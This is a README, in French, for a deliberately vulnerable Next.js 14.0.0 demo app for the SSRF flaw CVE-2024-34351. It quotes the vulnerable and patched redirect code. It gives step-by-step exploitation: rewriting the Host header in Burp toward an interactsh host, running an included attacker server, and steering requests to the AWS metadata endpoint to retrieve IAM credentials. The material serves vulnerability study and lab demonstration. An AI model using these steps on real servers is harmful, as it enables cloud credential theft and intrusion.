
Application de démonstration minimaliste Next.js 14.0.0 pour la vulnérabilité SSRF CVE-2024-34351. Comprend la configuration de l'exploit, la confirmation interactsh, l'interception Burp et les étapes d'escalade des métadonnées AWS.
Application Next.js 14.0.0 minimale pour démontrer CVE-2024-34351 -- une vulnérabilité de Server-Side Request Forgery (SSRF) dans les Server Actions de Next.js.
Découverte par Adam Kues et Shubham Shah chez Assetnote. Corrigée dans Next.js 14.1.1.
Lorsqu'une Server Action appelle redirect('/some-path'), Next.js construit une URL de fetch interne en utilisant l'en-tête Host de la requête entrante sans validation :
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Un attaquant qui contrôle l'en-tête Host peut rediriger ce fetch interne vers n'importe quelle destination que le serveur peut atteindre.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh est utile pour confirmer que le serveur Next.js effectue une requête sortante vers un hôte contrôlé par l'attaquant.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
Dans Burp Suite :
http://localhost:3000 et soumettez le formulaire de connexion avec l'interception activéeHost: localhost:3000 par Host: abc123.oast.funCela prouve la SSRF sortante. La requête provient du processus serveur, pas du navigateur.
interactsh ne peut pas contrôler sa réponse, donc Next.js ne procédera pas à la requête GET. Pour obtenir le corps complet de la réponse, utilisez le serveur attaquant inclus :
python3 attacker/attacker_server.py 8888
Définissez l'en-tête Host sur <votre-ip-lan>:8888 et transférez. Le serveur attaquant répond à HEAD avec Content-Type: text/x-component, déclenchant le GET. Le corps complet de la réponse est renvoyé dans la réponse Next.js visible dans Burp.
Lors de l'exécution de l'application vulnérable sur une instance AWS EC2, définissez l'en-tête Host sur :
Host: 169.254.169.254
Next.js effectuera un fetch depuis le service de métadonnées de l'instance. Pour récupérer les identifiants IAM :
Host: 169.254.169.254
Ensuite, ajustez le chemin de redirection ou utilisez une requête suivante pour cibler :
http://169.254.169.254/latest/meta-data/iam/security-credentials/
La réponse complète des métadonnées est renvoyée au navigateur de l'attaquant.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
Le correctif privilégie process.env.__NEXT_PRIVATE_ORIGIN -- défini au démarrage du serveur, non contrôlable par l'attaquant.